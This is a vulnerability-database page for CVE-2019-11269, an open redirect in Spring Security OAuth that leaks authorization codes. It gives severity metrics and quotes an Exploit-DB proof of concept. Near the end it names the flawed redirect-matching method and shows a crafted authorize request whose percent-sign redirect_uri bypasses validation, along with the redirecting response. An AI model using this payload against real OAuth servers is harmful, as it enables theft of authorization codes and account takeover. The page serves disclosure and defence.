CVE-2019-11269 : Detail

CVE-2019-11269

5.4
/
Medium
A01-Broken Access Control
0.16%V3
Network
2019-06-12
14h46 +00:00
2024-09-16
23h11 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Open Redirector in spring-security-oauth2

Spring Security OAuth versions 2.3 prior to 2.3.6, 2.2 prior to 2.2.5, 2.1 prior to 2.1.5, and 2.0 prior to 2.0.18, as well as older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code. A malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the redirect_uri parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.4 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V3.0 4.2 MEDIUM CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 5.8 AV:N/AC:M/Au:N/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47000

Publication date : 2019-06-16 22h00 +00:00
Author : Riemann
EDB Verified : No

# Exploit Title: Open Redirector in spring-security-oauth2 # Date: 17 June 2019 # Exploit Author: Riemann # Vendor Homepage: https://spring.io/projects/spring-security-oauth # Software Link: https://spring.io # Version: Spring Security OAuth versions 2.3 prior to 2.3.6 -org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE # Tested on: UBUNTU 16.04 LTS -org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE # CVE : CVE-2019-11269 | CVE-2019-3778 # Description Spring Security OAuth versions 2.3 prior to 2.3.6, 2.2 prior to 2.2.5, 2.1 prior to 2.1.5, and 2.0 prior to 2.0.18, as well as older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code. A malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the redirect_uri parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code. #VULNERABILITY: By manipulating the REDIRECT_URI parameter, an attacker can actually bypass the validation. The code causing the vulnerability is found under the package org.springframework.security.oauth2.provider.endpoint The Class: DefaultRedirectResolver, which method obtainMatchingRedirect does not proper sanitation /** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set<String> redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty"); if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect + " does not match one of the registered values: " + redirectUris.toString()); } #POC ATTACK VECTOR The following request done by the CLIENT APP after the user has logged in, contains the REDIRECT_URI parameter. The validation is bypassed by simply adding a percentage sign which triggers a redirect instead of the RedirectMismatchException error The ORIGINAL REQUEST containing a valid URI: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1 The attacker then tricks the application by changing entirely the URI to another server adding a percentage for example: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1 The RESPONSE indeed does not produce an expected OAUTH error but redirects the user : HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

Products Mentioned

Configuraton 0

Pivotal_software>>Spring_security_oauth >> Version From (including) 2.0.0 To (excluding) 2.0.18

Pivotal_software>>Spring_security_oauth >> Version From (including) 2.1.0 To (excluding) 2.1.5

Pivotal_software>>Spring_security_oauth >> Version From (including) 2.2.0 To (excluding) 2.2.5

Pivotal_software>>Spring_security_oauth >> Version From (including) 2.3.0 To (excluding) 2.3.6

Configuraton 0

Oracle>>Banking_corporate_lending >> Version 14.1.0

Oracle>>Banking_corporate_lending >> Version 14.3.0

Oracle>>Banking_corporate_lending >> Version 14.4.0

References